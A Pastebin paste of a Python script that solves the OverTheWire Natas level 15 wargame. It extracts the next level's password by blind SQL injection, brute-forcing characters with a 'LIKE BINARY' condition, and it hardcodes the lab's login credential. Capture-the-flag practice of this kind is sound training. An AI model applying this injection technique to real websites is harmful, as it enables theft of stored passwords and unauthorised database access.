Advertisement
Guest User

Untitled

a guest
May 1st, 2017
60
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.12 KB | None | 0 0
  1. #!/usr/bin/env python
  2.  
  3. import pycurl, requests
  4.  
  5. url = 'http://natas15.natas.labs.overthewire.org/index.php'
  6. username = 'natas15'
  7. password = 'AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J'
  8.  
  9. exists = 'This user exists.'
  10. doesnt_exist = 'This user doesn\'t exist.'
  11.  
  12. def checkChar(knownStr, nextChar):
  13.     ind = len(knownStr)
  14.     check = knownStr + nextChar + ('_'*(32-ind-1))
  15.     urlAll = url+'?username=natas16" AND password LIKE BINARY "' + check
  16.     #print urlAll
  17.     r = requests.get(urlAll, auth=(username, password))
  18.     #print r.status_code
  19.     #print r.headers
  20.     #print r.text
  21.     #raw_input()
  22.     return exists in r.text
  23.     #return doesnt_exist not in r.text
  24.    
  25. #WaIHEac
  26. #natas16" AND  password RLIKE BINARY "WaIHEac[a-z]
  27. knownStr = "WaIHEac"
  28. for i in range(len(knownStr) + 1, 33):
  29.   print i, "symbol brutes:",
  30.   charData = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
  31.   for char in charData:
  32.     print char,
  33.     if checkChar(knownStr, char):
  34.       knownStr += char
  35.       print 'Found'      
  36.       break
  37.   else:
  38.     print 'Not Found'  
  39.   print "knownStr", knownStr
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement